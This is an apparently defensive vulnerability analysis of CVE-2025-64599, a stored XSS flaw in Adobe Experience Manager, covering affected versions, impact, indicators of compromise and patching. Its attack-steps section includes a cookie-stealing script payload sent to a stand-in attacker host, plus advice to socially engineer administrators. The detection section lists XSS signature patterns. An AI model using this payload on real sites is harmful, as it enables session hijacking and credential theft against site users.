CVE-2025-64599: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64599 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises), AEM Cloud Service versions prior to 2025.12.0, and AEM 6.5 LTS. The vulnerability was published on December 9–10, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then stored and later executed in the browser of any user who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the affected page) and results in a changed scope, meaning the injected script can affect resources beyond the attacker's own session. Attack patterns associated with this vulnerability include stored XSS (CAPEC-592) and DOM-based XSS (CAPEC-588) (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, leading to low-level confidentiality and integrity impacts — such as session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim. The changed scope means the attack can affect users and resources beyond the attacker's own privilege level. Availability is not directly impacted by this vulnerability (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept user-supplied input and store it for display to other users (e.g., content authoring forms, comment fields, or metadata fields).
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to browse to the page containing the injected content, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or perform unauthorized actions on behalf of the victim user (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring or form submission endpoints containing encoded JavaScript payloads (e.g., <script>, javascript:, onerror=, onload=).
• File System: Unexpected or modified JCR (Java Content Repository) nodes containing script tags or obfuscated JavaScript in content fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• Process/Application: Browser-side JavaScript errors or unexpected redirects logged in AEM's client-side error tracking when users visit affected pages.

Adobe has released patches addressing CVE-2025-64599 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. For AEM 6.5 LTS users, Adobe's advisory (APSB25-115) should be consulted for applicable patch guidance. As a temporary measure, restricting content authoring permissions to trusted users only can reduce the attack surface until patching is complete (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products that could allow arbitrary code execution, grouping CVE-2025-64599 among the December 2025 Adobe patch batch (CIS Advisory). Tenable published a Nessus detection plugin (ID 278346) for this vulnerability shortly after disclosure (Tenable). No significant independent researcher commentary or social media discussion specific to this CVE has been identified.